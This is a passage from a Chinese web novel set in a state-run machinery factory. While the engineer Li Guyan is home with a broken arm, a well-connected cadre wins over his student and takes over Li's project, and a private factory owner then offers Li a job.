李固言懂事起就没在李妈面前脱过衣服,用左手压着她的手没让动。 舒英抬眼看了他一眼,连声都没出,李固言自己就把手松开了。 不过舒英最终还是没在李妈面前检查,要没事还好,万一身上的伤看着唬人,李妈年纪大了,不得担心地睡都睡不着了。 舒英道:“妈,都说吃什么补什么,你待会儿去买俩大骨头吧,回来给他熬骨头汤喝。” “行,这行,我现在就去买。” 等李妈出去后,舒英才解开李固言的衣服,后背还好,胸前不知道是撞到哪了,紫红一片,舒英有些心疼地摸上去,眼泪差点就掉下来。 李固言见她难受心里也不好受,忙用好的那只手将衣服给盖上,又安慰道:“真没事,已经不疼了……” 他话还没说完,舒英眼泪就滴到他身上了,旁边的谷雨见妈妈哭了,举着小手就要过来给妈妈擦眼泪,嘴里还一直喊着:“妈妈,妈妈。” 舒英怕吓到孩子,背过身去将眼泪擦干净,吸了吸鼻子说:“你还疼不疼?” 李固言哪里敢说疼?连忙道:“不疼了,真不疼了。” 又要伸手去摸她的脸,用手将她的眉头舒展开,“别哭了,你哭的我心都疼了。”他盯着她,眼眶也红起来。 舒英将谷雨放到床里面,起身去柜子里拿干净衣服要帮他换上,他现在这一身都是血,瞧着实在吓人。 李妈买了俩大骨头回来立马就给炖上了,炖的汤色浓白,满室飘香。 到了晚上家属院下班的时间点,袁宜和简光远都拎着东西过来看望,舒英这时候情绪已经稳定下来了,瞧着他们拎的东西笑说:“来就来了,怎么还拿着东西?”边说边从冰箱里给二人拿汽水喝。 李固言也说:“待会儿你们走的时候再都给拎走,赚那仨瓜俩枣的,有钱就给自己买点东西吃。” 袁宜将水果放在桌子上,嬉皮笑脸的:“这又不贵,老师你要 是不吃就给师母和师奶吃。” 她跟固萱也差不多大,李妈刚开始听着她叫自己师奶还有些不习惯,现在叫多了,也适应了。 “晚上都别走了,我熬了大骨头汤,一大锅呢,你们俩都留下来一块儿吃。”李妈招呼着两人。 简光远笑道:“好嘞,谢谢师奶。” 几人还没说几句话,工人也带着礼上门来了。 一进来就要跪下磕头,把几人吓了一大跳,舒英赶忙上去将人拉起来:“这是干什么?咱们这不兴这个,快起来快起来。” 这工人姓马,叫马国庆,年纪不大,才二十呢,哭得一把鼻涕一把泪的,嘴里还说着:“都是李工救了我,要不是李工,我现在胳膊都没了。”厂里不是没发生过这种事,手绞进机器里落下个终生残疾,班也上不了了,一辈子都成了个废人,他还年轻,要是成了残疾,这一辈子可就完了。 李妈也赶紧过来扶着,又给递了手帕让擦眼泪,说:“万幸现在都没事,你也别难受了,以后上班还是当心点,这次是固言救了你,下次可不一定能有人再救你一回。” 马国庆哭得是真伤心,擦着眼泪说:“这次是真的谢谢李工,我以后上工肯定不会走神了。” …… 李固言到底是为救人受的伤,还伤的右胳膊,厂里给放了半个月的假。 他现在在家里被看得比谷雨还严,一点活都不让他干,李妈每天还变着花样的给他做猪蹄、大骨头吃,以形补形嘛。 李固言没忍住跟舒英抱怨道:“这样天天什么都不让我做,感觉手脚都要退化了。” 舒英白他一眼:“那怎么办呢?谁让你骨折了呢,你就好好养着吧,别身在福中不知福了。” 好在李固言带的项目组,已经把新产品研发出来了,他就是不去,剩下的组员也都能把剩下的工作有条不紊地推进。 但他不去,有些人又要开始想法了。 今年李固言带头研发的产品可是卖得畅销,李固言也立马成为厂里炙手可热的人物,要不是他已经成家,不知道有多少领导想招他做女婿。 陆德冷眼瞧着,心里不知道有多气愤,李固言胳膊受了伤,他不仅不觉得可惜,反而感到畅快,肯定是老天爷也看不惯他,才要让他受点折磨。 趁着这段时间,他没少接近项目组里的人,他有钱有后台,等他把他项目里的核心都掌握后,看他还怎么得意。 但打听了一阵后,知道这个项目是李固言一手掌握的,核心内容只有他自己知道的最清楚,其次就是他那俩学生,都是手把手的带着教着的。 一个袁宜一个简光远。 陆德最先接近的是袁宜,一个姑娘家,还不是随便勾勾手指就上来了。 他堵着她下班的路上,刻意搭话道:“你是省工业大学毕业的是吧?” 袁宜看着他心中警惕,面上却不动神色,笑着答道:“是啊,跟老师是一个学校的。” 陆德脸色不变,仍笑着说:“我正好有个问题不太明白,想着你是省工业大学毕业的高材生,所以想向你请教请教。” “陆主任这话说的,有什么您尽管问就是,只是恐怕我学业不精,可能没办法为您解惑,要说,您找老师问应该是最好的,老师比我有经验,肯定能解开您的问题。”袁宜不着痕迹地用话刺着他,脸上还一片的真诚。 陆德打量着她的神色,竟看不出来这丫头是故意这样说的还是单纯就是蠢,谁不知道他跟李固言关系不好,还让他去问他? 是啊,谁不知道陆德跟李工关系不好,袁宜暗暗看了他一眼,也不知道这人是蠢是坏,竟还找她说这些有的没的。 两人边走边聊,面上祥和,落在后面不远处的简光远看着两人的背影,眼中有些疑惑。 第40章 第 40 章 换人 陆德在袁宜这边碰了颗软钉子, 心中气得不行,看着她的眼神都有些不善,这小丫头平日里瞧着还挺机灵, 怎么这么不识抬举, 在他和李固言之间还能犹豫?那李固言有什么?什么都没有! 陆德也不是个多有耐心的人,这姑娘拎不清,他也不会死缠烂打, 那不是还有另一个人呢吗?男人可比女人脑子清楚得多。 简光远头天还看见陆副主任和袁宜边走边聊,第二天就见陆副主任凑到他身边笑呵呵的。 “小简啊,你来咱们厂子多久了?” 简光远虽然疑惑,但态度还算恭敬, 笑着回道:“没来多久呢,到九月份才满两年。” “两年啊,两年也不短了。”陆德脸上带笑,笑意却不达眼底, “想当年你老师来厂里两年的时候已经很独立了, 陈主任人好啊,给他放权, 他想干什么就干什么。” 暗戳戳地说李固言能有现在这样的成就, 完全是因为领导们人好,而简光远现在还要靠着老师是因为李固言不放权。 简光远抿着唇笑了笑,没说话。 陆德打量了他一眼,皮囊倒是不错, 长得挺端正,浓眉大眼的,他又笑道:“小简今年也二十出头了吧?” “是。” “谈对象了吗?成家立业成家立业,这先成了家也就好立业了。” 简光远摇摇头, 微微笑着:“还没呢,这整天在厂里也没什么机会认识人。” 陆德一挑眉,假装诧异道:“这不应该呀,还有那个小袁也是,你俩这都二十出头了,你老师也不为你们考虑考虑?” “陆主任说笑了,这都是我们自己的事情,哪里好麻烦老师的。” “哎呀,这说的哪里话,一日为师终身为父,你们身为他的学生,给他干活,他就应该顾虑周全些,不能只想着自己的事业,把学生给耽误了吧。”陆德明里暗里地贬低李固言,斥他不负责任,只顾着压榨俩学生。 他说完似觉得太明晃晃,又补了一句道:“唉,咱这就是闲聊,也不是说你老师不好,只是他到底要忙自己的事业,难免忽略了你们,只是你们自己要有打算才对,总不能这大好的青春都耗在这吧。” 简光远也不是傻子,自然听出了他话中贬低拉踩的意思,但李固言是自己的老师,他又是主任,他不好说什么,只好腼腆笑了笑。 陆德再接再厉,伸手在他肩膀上拍了拍:“我瞧着小伙子是有志气的,我这年长你不少不知道你有没有兴趣跟我说说你这以后是什么打算?” 简光远低了低头,目光不动声色地看向肩膀上的那只大手,洁白细腻,一点伤疤茧子都没有,甚至连点机油笔墨都看不见,一看就是平时养尊处优惯了的,他笑道:“这没有什么不好说的,就是跟着我老师做项目嘛,正好现在项目有了点起色,这些陆主任您也是知道的,我们都说呢,今年年底厂里应该会给我们发奖金的。” 陆德听到这脸色变了变,知道,他当然知道,要不是知道这个项目现在是厂里的香饽饽,他也不会过来接近他,但他到底摸爬滚打多年,脸上瞬间恢复笑摸样,说:“这算什么打算?这不就是走一步看一步吗?” 这话说的,这厂里谁不是走一步看一步,还当谁都跟他陆副主任一样有个当厂长的亲叔叔。 简光远心里嘀咕着,脸上没表现出来,试探着问:“陆主任工作这么多年了,肯定比我这个毛头小子有经验,不知道我有没有这个荣幸,能讨您几句教诲。” 陆德哈哈大笑起来,没想到这小子这么上道,长臂一扬瞬间揽上人的肩头,口中还说着:“教诲算不上,就是我自己的一点点经验而已,这马上晌午了,你这是准备怎么吃啊?” “就是吃食堂。” “哎呀,这食堂有什么好吃的,走,咱俩下馆子去,我也是第一次碰上这么谈得来的人,我请你!”陆德拉着人就走,还道,“当年你老师才来的时候我叫过他几次,可惜他比较有性格,看不上我这小饭局。” 简光远听完笑了笑,没做评价。 陆德也不在意,他也不 是为了要他跟自己一起评判李固言的。 下馆子,就在机械厂前头的一家饭店,就他们两个人还要了一间包间,简光远看着来往对陆德很是热情的服务员,就知道他一定是这家店的常客。 简光远暗暗打量了一下这件饭店,这家饭店在附近算是最贵的一家了,平日里他们自己是舍不得来吃的,只有李工有时候请客会带他们组的成员来这里。 两人挨着坐下后,陆德就叫服务员把他放在这里的酒拿来一瓶,又笑着问简光远道:“喝酒吗?” 简光远摇摇头:“不怎么喝。”他们组聚餐是从来不喝酒的,李工自己不喝也不会劝他们喝。 陆德笑说:“喝点也没事,你也二十多了,我像你这么大的时候都结婚了!” 说起这个,陆德又问:“你说你还没谈对象,那你家里对你有什么安排吗?” 简光远一听他这话音就知道他定是有些想法,忙笑说:“没,家里也催我呢,但我想着先上两年班,往上走一走才有底气成家。” 陆德从服务员手里接过酒瓶子,打开就要往简光远杯子里倒,简光远哪能让他给自己斟酒,连忙拿走杯子说:“我来倒我来倒。” “嗯?”陆德笑着从他手里把杯子拿走,“跟我客气什么,你是小辈呢,以后有你倒酒的机会。”这话中又有一层意思了,简光远平时老老实实的哪里会有他倒酒的机会,只有陆德要带他参加饭局才会如此。 简光远听出来了,又有点怀疑自己是不是听错了,他对自己这么好是图什么呢?他一个刚出校门没多久的人。 他看了眼被满上的酒杯,视线又移到旁边的陆德身上,视线里带了点探究意味。 陆德继续说:“你也是省工业大学毕业的,是高材生呢,要搁在古代,说不定就是个进士,至于进士,以前不有个那什么说法吗?叫什么什么榜下捉婿,对,榜下捉婿!” 简光远哪好意思把自己类比成进士,赶忙谦虚说:“我还差得远呢。” “差什么!”菜上来了,陆德又给他夹菜,看着他有些拘谨的样子笑着说,“在这饭桌上,你别把我当你的领导,咱就是朋友!我是看你这人真有点本事,生了惜才的心思,才会邀请你来吃饭的。” 简光远笑笑,他自是知道天下没有掉馅饼的好事,但他也自信自己是有能力的,他毕竟是省工业大学的高材生。 陆德端起杯子跟他轻轻碰了一下,放到嘴边抿了一口,龇牙咧嘴说:“我家里有个亲戚,就咱厂里纪主任,他闺女跟你差不多大,在机械厂小学当老师,到现在也还没有个着落呢,纪主任成天急得不行,我就跟他说咱厂里那么多青年才俊,急什么呢?到时候来个榜下捉婿,不就促成了一桩美事了吗?” 他说完还问了一嘴:“你说是不是,小简?” 简光远迎着他意味深长的眼神,嘴角上扬,点了点头认同:“是,陆主任说的有道理。” 纪主任是厂里管后勤的,是个油水大的好职位,他之前是知道厂里领导层盘根错节,但不知道陆副主任跟纪主任还有亲戚关系。 两人酒杯相碰,发出“当啷”一声,杯中酒水溢出,洒在桌面上。 这顿饭两人都吃得尽兴,从饭店里出来时,都面然酡红,脚下虚浮,走路都不稳的样子。 陆德计划得逞,自是高兴,拍了拍简光远的肩膀说:“识时务者为俊杰,你小子有眼光,未来错不了!” 简光远搀扶着他笑道:“哪里,我还年轻,以后还得主任多多提携才是。” “哈哈哈好!你今天喝的不多,这酒量不太行啊,以后可得多练练,行了,我看你这也醉了,下午是不能上工了,给你放半天假,回宿舍睡一觉去吧,明天酒醒了再来找我!” “行,那就谢谢陆主任了。” 陆德站在原地看着简光远有些踉跄的背影,眼中哪里还有半分醉意?他双手在身上摸了摸,从兜里掏了包烟出来,两指并拢在烟盒顶上拍了拍,夹着一根放在嘴边,又摸出火柴点燃。 烟雾在他口中吞吐,他眯着眼回头朝家属院的方向看了看,等一根烟燃尽后,也回了机械厂。 下午还得找他叔叔呢,这种事得他叔叔点头他才能办成。 在他们俩喝酒的时候,李固言正在家里养伤呢,他吊着一条胳膊,许多事都不能做,就连吃饭都有些困难,得学着用左手。 舒英下班回来的时候买了点鸡蛋糕和桃酥,谷雨现在喜欢吃这些甜甜的东西,不过每次也就给她尝一点点,搞得她老大不满。 她到家时,李妈正在厨房里做饭,李固言和谷雨在院子里玩。 舒英拎着两袋糕点进来,谷雨眼尖,一下子就看见了,用手指着要吃,舒英笑了笑,掰了一小块鸡蛋糕防她手里,谷雨得了鸡蛋糕,也没心思跟李固言玩了,乖乖坐在小板凳上捧着鸡蛋糕啃。 她牙还没长齐呢,在鸡蛋糕上啃得坑坑洼洼,还一边吃一边往下掉渣。 舒英笑着看着她,伸手将她身上的渣子给轻轻拍掉。 李固言将两袋糕点拿进厨房,在橱柜里放好后又到院子里来。 舒英抬头看了看他,问:“今天没碰到胳膊吧?” “没有,我小心着呢。” 舒英听到他这话就想用白眼翻他,还小心,这几天不去上班,就在家养伤,每天都觉得闲得慌,就带着谷雨玩,胳膊骨折了还要抱她,谷雨被抱着不老实,差点没把他胳膊又给踢断。 李固言想到这件事也有些没忍住摸了摸鼻子,讪讪笑了下:“就那一次,后来我再没抱过谷雨了。” 舒英撇了下嘴,不太相信地说:“你最好是。” 马上要吃晚饭了,舒英将桌子拉到院子里来,李固言用没事的左手帮忙搬着椅子。 李妈将菜端上桌,一眼看到啃鸡蛋糕的谷雨,抱怨地说了两句:“怎么现在给她吃鸡蛋糕?吃了这该吃不下饭了。” 舒英把谷雨抱上椅子上坐好,拨了拨她额前的碎发笑道:“没给她吃多少,就掰了一点给她。” 李固言伤的右手,吃饭都不方便,吃个菜都是舒英夹到他碗里,他再拿着勺子舀着吃。 吃完饭后,舒英先给谷雨洗澡。 拿一个大铁盆,放大半盆温水,谷雨坐在盆里,两只小手一点都不老实,嘻嘻哈哈地拍着水面,一个澡洗好,舒英全身都能湿透。 洗完后,用大毛巾将谷雨全部包裹住,给抱到房间里床上。 夏天热,也不用担心感冒,到房间里再给她换上干净的短袖短裤,还要垫上尿布。 李固言现在自己不好洗澡,舒英给谷雨洗碗还得再帮他洗。 好在现在是夏天,不用穿的里三层外三层的,就穿一间短袖,胳膊打了石膏上了夹板也好脱。 舒英帮他把衣服脱掉,拿水往他身上冲,边冲边小心不能碰到右手。 李固言仰着头看她,喉头上下滚动了下,她衣服上还有刚才给谷雨洗澡留下的水渍,半湿半干地贴在身上。 夫妻这么多年,孩子都有了,舒英瞥他一眼就知道他在想什么,哼了一声道:“你最近可老实点,别有什么非分之想。” 李固言嘴硬:“你这可就冤枉我了,我可什么都没想。” 哪里是什么都没想,眼睛都快看直了,是想的不能再想了。 舒英在他头发上抹了洗发膏,洁白的泡沫打发起来,绵绵密密地顶在头上,顺着水冲下来,流到眼睛上,辣的李固言睁不开眼。 他无助地用左手扶着她的腰,手掌宽大炙热,嘴里哀哀呻/吟:“疼、疼。” 舒英低下头看见他眼睛处的泡沫,连忙拿毛巾给他擦干净,又凑近用嘴吹了吹,问:“现在怎么样?能睁开眼吗” 李固言微微眯着眼,一副可怜 相地摇摇头:“睁不开……” 舒英见状也有点心疼,赶紧用水把他头上身上的泡沫都冲干净,速战速决地把他洗干净,他一米八几的大个子,洗起来可比谷雨费劲多了。 洗完后累的她轻轻喘着粗气。 李固言冷不丁伸手拉着她坐到自己怀里来,把舒英吓了一跳,挣扎着就要起来看有没有碰到他的胳膊。 李固言忙道:“没碰到没碰到。” 舒英这才放下点心,缓过神后在他胸膛上推了一下,“好好的又作什么怪。” 李固言不说话,只将头靠在她身上,呼吸间的热气喷洒在她肌肤上,撩起一片鸡皮疙瘩。 浴室里闷热,舒英有些受不了,捧着他的头远离自己,接着就要从他腿上起来。 李固言身上的火都起来了,哪里还压得下去,眼尾红红地看着她,好不可怜,柔柔地拉着她的手说:“不会碰到胳膊的……” 舒英看了他一眼,手不自觉地就放到了他脸上,指腹在他唇上摩挲,柔软湿润。 李固言见状,拉着她贴近自己,仰头噙吻住她的唇,明明是侵略者,却一副被动接受的样子。 浴室里热气未散,舒英被蒸腾着,脸上泛起红晕,神志也有些不清醒,双腿一软跨坐到他身上。 谷雨还在房间里被李妈看着,两人没有折腾太久,一次结束后,两人匆匆又洗了一遍澡就换了干净睡衣回房。 两人头发都湿透了,坐在风扇前,对着风扇吹,舒英胳膊酸软,趴在他大腿上有些困顿,任由他左手在发间穿梭,舒服得昏睡过去。 谷雨早已经睡着了,手里还牢牢抱着她的小羊玩偶,李固言宠溺地看了她一眼,俯过身去把薄被子又往她身上拉了拉,做完这一切才又转回来帮舒英吹头发。 她这一头秀发柔软乌黑,有时摊在枕头上,有时垂在他身上,随着她身体的晃动而上下翩飞,看得人眼花缭乱。 李固言在家养伤这几天虽然诸事不便,但却是极轻松自在的,可他是轻松自在了,厂里却发生了件让人震惊的事。 他带的项目组,负责人却换成陆德了!还是临时换的,组里的人一点准备都没有,直接被通知以后都听陆副主任的。 袁宜接到这个通知的时候瞪大了眼,实在是难以相信,这个项目从始至终都是李工负责的,他不知道在里面付出了多少心血,眼瞅着马上就能摘果子了,结果着说把人踢出去就把人踢出去了? 怪道陆副主任会找她套近乎了,原来是为了这事! 袁宜一来机械厂就跟着李工,李工在带学生上从不藏私,向来是有问必答,有惑必解,什么知识点都恨不得揉碎了全部教给她,就算是他们犯了错,也一直都是耐心的,在她心里,李工是担得起她一声老师的,所以乍然得知这个消息,她心中实在不忿,李工因为救人在家养伤,结果厂里就这么对待他? 陆德接手项目组后的第一件事就是让人把李固言的东西还给搬回大办公室,他笑得冠冕堂皇:“既然李工以后都不负责这个项目了,那咱也不能耽误人家,你们几个手脚都麻利些,别把人的东西搬丢了,东西都搬干净后,把那个位置再仔仔细细地打扫一遍,我要坐过来的。” 他指着项目组里的几个人,几个人面面相觑,谁都没有动。 陆德脸上笑意不变,端起印着机械厂几个字的搪瓷杯放到嘴边啜了一口,缓缓道:“怎么了这是?怎么都不动弹?” 袁宜皱了皱眉站出来道:“陆主任,这是怎么了?我们一直不都是李工带着的吗?这个项目的核心也一直是李工负责的,您把李工的东西搬走,我们后续还能做下去吗?” 这个问题也是组里其他人想问的,只是碍于陆副主任的身份,谁都没敢出声罢了。 陆德哂笑一声,身子斜斜靠着桌沿,将手里的搪瓷杯轻轻放到桌子上道:“小袁啊,你这话就说岔了,这个项目不是李工的,这项目是咱机械厂的,现在李工胳膊受伤,而且还是为了救厂里的工人光荣受伤的,咱们厂向来爱护这些大公无私的人,厂里就是怕他太过辛劳,这才让我来替他辛苦的。”他这话说的轻飘飘又堂而皇之,好像自己真是为了李工好一样。 袁宜撇了撇嘴,还欲与他争执,就感觉手腕被人拉了一把,她扭头看过去,是简光远。 简光远站出来笑着道:“既然厂里的文件都下来了,咱们就照办吧,我现在就把李工的东西搬回去。” 袁宜不可置信地看着他,怎么也想不到他竟然这么快就倒戈到了陆德那一方。 陆德笑着点点头,视线在这两人身上流连,女人果然是头发长见识短,就是没有男人看得清状况。 简光远到底是李工的学生,虽然平时懒散了些,但项目组里的人大多还都是信他的,他带头搬东西,就有几个人犹豫着也跟着搬。 老吴看着这场面,心里天人打架,他当初来这项目组,奔的是李工,现在李工都被踢出去了,这个项目组还能成吗? 袁宜环顾着这件熟悉的办公室,这一年多,他们跟着李工在这间办公室里不知道熬了多少夜,改了多少设计,又下了多少次车间,最终才把新产品成功研制出来,销往全国各地,收获不少好评。 但一个项目的负责人说被换就被换,换得如此轻而易举,连提前通知都没有,她敢说,李工恐怕到现在还不知道厂里的这些变故呢,他恐怕还在想着养完伤后回来带着他们继续研发新产品。 思及此,又看着明显和陆德很是亲近的简光远,心中难免有些悲凉之感,他俩一块儿到的李工手下,李工为人耐心和善,从来没有批评过他们,可没想到他的这些好却养出了一只白眼狼来。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 40-50 第41章 第 41 章 定局 袁宜没熬到下班时间就跑去家属院跟李固言通风报信, 李固言刚一听到还以为她是在开玩笑,可看着她焦急的神色又不似作伪,他沉下脸问:“你说的都是真的?” “老师, 我怎么会在这个事情上骗你!”袁宜扭头从砖墙指向隔壁的吴家, “吴大哥今天也在,他也都听见了。” 李固言看看她又望了望隔壁,沉默了一瞬后, 脸上又微微扬起笑道:“行,我知道了,你也别着急,这么晚了, 你上了一天班肯定也累了,先回去歇着吧。” 袁宜讶异地看了他一眼,见老师面上一片平静,她不安的心也跟着落下来, 老师肯定是有主意的。 其实李固言没什么主意, 他一毕业就来了厂里工作,兢兢业业干了这么多年, 从来没有松懈过一刻, 他也没想到厂里,不,应该说是陆副厂长会这么胆大无情,真的敢在他休养期间把他从项目里换掉, 还换成他那个草包侄子。 舒英牵着谷雨站在旁边,有些担忧地看着他,犹豫着开口问:“没事吧?” 李固言回过头,看到她眼神里都充满着对他的担心, 他定了定后笑起来,走过去摸了摸她的脸,又蹲下来捏了捏谷雨,这才摇头道:“没事,我明天去厂里问一下陈主任。” 还没到吃晚饭的时间,组里的成员就都来了个遍,他们也都是对厂里的安排感到困惑,却又不知道怎么办的。 李固言心里怎么想的,面上未曾显露一丝一毫,只笑着安慰他们:“你们也不要太害 怕,厂里怎么安排的你们就怎么听就行,至于我,你们不用担心,这个项目已经要结束了,也没什么要下苦力钻研的了,你们就好好待在组里,把剩下的事情收个尾,我们总得有始有终不是?” 他一番话说出来,组里的人都放下心,觉得以他的能耐肯定有办法重新说服厂里,说不定过几天他就回来了。 舒英抱着谷雨站在旁边,几次抿了抿嘴,她知道他现在心里定也是不安的,只是不想让别人替他担心罢了。 谷雨还小,还不明白是发生了什么,只是本能的不太喜欢这个房间里的氛围,手里紧紧抱着小羊玩偶,对妈妈道:“要吃糕糕。”糕糕就是鸡蛋糕。 李固言闻言看过来,声线沉稳,笑道:“谷雨饿了是不是?爸爸去给你拿糕糕吃。” 说完又对众人道:“行了,大家也都别聚在这里了,明天还要上班呢,都散了吧,我就不留大家吃饭了。” 他表现得镇定,还有心情跟他们开玩笑,众人脸上凝重的表情都松快下来,笑着摆手说:“不用不用,我们家里做了饭了。” 李固言将众人送走后把院门从里面闩上,吊着一只手去厨房给谷雨拿鸡蛋糕。 李妈本来还没弄明白发生了什么,但这么多人叽叽喳喳,她听也听出来了不是什么好事。 她边切菜边问:“到底怎么回事啊?我这在旁边听着一知半解的,他们说的是什么意思,你被厂里开除了?”她眼角皱纹皱起来,这种厂里的工作可是一辈子的铁饭碗,被开除的后果她连想都不敢想。 李固言拿了一块鸡蛋糕出来,看着她笑了笑:“妈你想什么呢?我怎么会被开除?” 李妈一颗悬着的心落地,麻利地切着菜,点点头说:“没被开除就好,咱这有个工作,后半辈子都不愁的,工作上遇上点挫折咱忍忍就过去了,可千万别跟厂里置气。” 李固言笑笑,拿着鸡蛋糕出去。 房间里的人都走了,只有舒英抱着谷雨还坐在椅子上,谷雨拿着小羊玩得不亦乐乎,李固言走过来把鸡蛋糕递给她,“吃糕糕。” 谷雨接过鸡蛋糕,小羊也不好玩了,她随手把小羊塞给他,两只手抱着鸡蛋糕“啊呜”一口就开始啃。 李固言见状慈爱地笑笑。 白天李固言一直都表现得很镇定,好像被换掉只是一件再平常不过的小事一般,而等到了夜里,大家都睡着了,他却还睁着眼睛,出神地望着玻璃窗,窗外是黑漆漆的夜空。 舒英也还没睡,手轻轻在谷雨背后拍着。 她几次张口,终于还是忍不住问:“你睡了吗?” “怎么了?”李固言小心转过来面对着她,黑暗中眼神平和,没有一丝怨怼之意。 舒英坐起来没说话,将谷雨抱到里面,自己躺在二人中间,往他怀里钻了钻紧紧搂着他,风扇在床尾嗡嗡地扇着,带了丝丝清凉的风。 李固言抿了下唇,伸手回抱住她,头埋在她颈窝中,抱着她的手越收越紧,那力度好像她随时会消散般。 舒英也轻轻拍着他的背,如安抚谷雨般安抚着他,柔声道:“没事了没事了。” 李固言终于压抑不住内心的难受,声音干涩地说:“在这件事情中让我觉得最伤心的其实不是陆德,也不是厂里,是小简……” 舒英静静听着他的诉说,颈窝处是他炙热的呼吸,手上的安抚一直没有停下。 “小简和小袁刚来时,我真的挺高兴的,我也是第一次当人家老师,生怕自己学问不够经验不足,会误人子弟,所以讲给他们的东西都慎之又慎,但我从来没藏过私,向来知道什么就说什么,就连这个项目也是我手把手地带着他们……” 他的声音越发哽咽,在这闷热的夏夜里,竟让人觉出些寒凉来。 舒英听着他的声音,眼眶也有些发热,另一只手穿过他颈下抱住他的头,心疼地摸了摸。 李固言又往她怀里埋了埋,声音闷闷地传出来:“可是这次却是小简把项目里的核心告诉陆德的,今天组里的人都来了,只有他没来,你说,我这个老师当的是不是很失败?” “怎么会?”舒英柔声反问,“小袁难道不是你带的吗?同样都是你教的两个人,却出现如此天差地别的结果,这说明问题不在你身上,在学生身上,人各有志,只是他的志向不在你这里,你千万不要觉得是自己的问题。” “嗯。”李固言在她怀里蹭了蹭,鼻梁刮到她突出的锁骨。 舒英像安慰一只淋了雨的小狗般在他脑袋上揉了揉,“还有我呢,还有谷雨呢,我们会一直陪着你的。” 李固言闭上眼,闷闷应声,抱着她的手臂又收了收。 舒英怕压到他受伤的胳膊,往外推了推他,黑暗中和他四目相对。 第二天李固言踩着上班的时间点去找了陈主任,路上路过办公室,从门缝里虚虚往里看了看,里面比之他受伤前已经大变样了,他位置上的文件资料设计图全部都被清理走了,取而代之的是一些茶壶茶杯和一些摆件。 李固言收回视线,唇角微微下压,目不斜视地从办公室走过去。 李固言来的时候,陈主任正在办公室里坐着呢,陆德这事他也是昨天才知道,他也正火大呢,做人怎么能这样呢?这样卸磨杀驴也太没有道德了,实在让他很难不觉得唇亡齿寒,他陆德今天仗着陆副厂长就敢把一个项目的负责人给换了,明天就敢把他也踢了! 李固言用左手叩了叩门。 “进。” 陈主任抬头看着红木门,门被推开,李固言的身影从外面进来。 陈主任立马从椅子上站起来,微微往前迎了几步,又拉着人坐下道:“是固言啊,今天怎么过来了?你这胳膊怎么样了?”他也是明知故问,大家都是人精,他如何不知道他今天怎么会过来。 两人心中都知道,李固言也没有戳破他,只笑了笑说:“昨天晚上听到了些风言风语,也不是很确定,就想着来找主任确认一下。” 他只说是风言风语,也是想看看还有没有转圜的余地。 陈主任故作诧异:“什么风言风语?你尽管说,我只要知道肯定不会藏着掖着。” 李固言垂了下眼,端着杯子抿了一口,才开口道:“主任您也知道,我这几天都在家里养伤,我这胳膊刚有点好转呢,昨天我组里的成员就到我家里跟我说,说项目组的负责人换成了陆副主任,我听了之后很是惊讶,想着怎么会呢,这厂里也没人提前通知我一下呀。” 陈主任动作一顿,干笑了两声后叹口气说:“这件事我也是刚知道,上头下的文件,也是想着你是为了救人才受伤的,想让你能有时间多修养修养,不要太辛苦,厂里也是为你着想。”这话是十足的假话,项目都要收尾了,眼看着就要论功行赏了,哪里还有什么太辛苦的地方,不就是陆德想抢功劳吗? 陈主任当然知道自己这话不真,他也知道李固言知道,但他也没办法,他是厂里的主任,他总不能拆厂里的台。 陈主任一通话说完,也有些心虚,看了一眼李固言,干咳了声,往他那边移了移,颇有些推心置腹意思道:“固言呐,这件事厂里已经决定了,我知道你心里不好受,但咱也没办法,只能忍。” 忍?李固言听到这个字简直要笑出声,他八四年就来了厂里,到今天已经八年,他忍得还不够多吗? 李固言知道是已成定局,他无力改变,淡淡看了陈主任一眼,点了点头,未发一言就告辞离开。 陈主任坐在椅子上没动,脑子里回想着刚才李固言的眼神,那眼神冰凉的没有一丝温度,他轻叹口气,心里清楚,厂里终究是让他伤心了。 其实他大概也能猜出来厂里是怎么想的,这几年厂里不断地进新人,大多都是省工业大学的高材生,李固言也就显得不那么珍贵了,所以厂里也就不再重视他了,他抬眼看着刚才李固言用过的杯子,心中感慨,厂里还是短视了啊! 袁宜从别人嘴里知道老师来了厂里,以为老师成功让厂里改了主意,她高兴地跑过来,凑到李固言面前问:“老师,你是不是能回项目组了?那陆副主任是不是能搬走了?” 李固言站定,看着她微微笑了笑说:“小袁,以后你好好听陆副主任的话,跟着他好好干。”说完抬腿径直离开。 袁宜站在原地愣住,看着他的背影一时不知道是该追上去还是不追。 到底是没追。 李固言回到家,李妈带着谷雨出去串门去了,家里没一个人,静悄悄的,一点声音都没有,他疲惫地深呼了口气,躺倒在床 上。 身体和精神都很累,彷佛要虚脱一般,但躺在床上也睡不着,只是睁着眼睛看天花板。 远在浙省的罗泓也听说了李固言的事,特意打来电话安慰。 “李工,怎么样,没事吧?” 李固言听着电话那头的声音,声音中还夹杂着一点电话兹拉的电声,他笑了一声道:“没事,罗厂长别担心,虽然换了人,但您厂里的机器要是出了什么故障,随时吱声,我们厂都会派人过去给您修理的。” “哎呀,现在还说什么机器修理的事,我给你打电话也不是为了这。”罗厂长默了一瞬后接着道,“李工,我说实话,其实我们厂里当时也并不是非买你们那的机器不可,这一套机器可不便宜呢,我也是看在你的面子上才买的,现在你说这个事做的,实在是很不地道。” 这个节骨眼儿上,他能打电话过来慰问一番,李固言就已经很高兴了,他视线落在红色的电话机上,回道:“罗厂长,这机器我们是用心研发的,肯定不会让您买亏的。” “我怎么会不知道是你们用心研发的?”罗厂长叹一声气,又说,“其实有句话我不知道该不该讲,讲了又怕你嫌烦。” “怎么会,罗厂长有话直说就好。” 罗厂长:“其实还是我之前跟你说过的那事,你前段时间来我们厂的时候我就邀请过你,现在你在你们厂里受了委屈,我还是想再邀请你一次,你要不要考虑一下我们厂?当然了,我们厂肯定是比不过国营大厂的,但咱们这私人厂也最看重人才,李工,说句实话,你有能力有本事,本不应该被这么埋没的,我是真的希望你能来我们厂,你放心,我肯定全都按照最高待遇给你,肯定不会让你吃亏的!” 一大段话说完,没听到电话那头有声音,他急忙又补了一句:“李工,这事儿也不急,你不用现在给我答复,我就是希望你能好好考虑考虑,小厂也有小厂的优势,您什么时候考虑好了什么时候告诉我,我都等得起。” 电话挂断后,罗厂长极力劝说的话语仍在李固言耳边响着,他走在回家的路上都觉得有些恍惚,心中两方拉扯,实话说,他是真的动心了。 不论别的,罗厂长对他一只都是优待的,在他的眼里,他是不可多得的人才,是值得珍惜重视的,不像在机械厂,国营厂工程师的身份稳定又体面,可也只有这些了,他没有背景,连拼来的升职机会都能轻易被人顶去,努力钻研的新项目在摘果阶段也被人一句话就夺走,甚至将他完全除名。 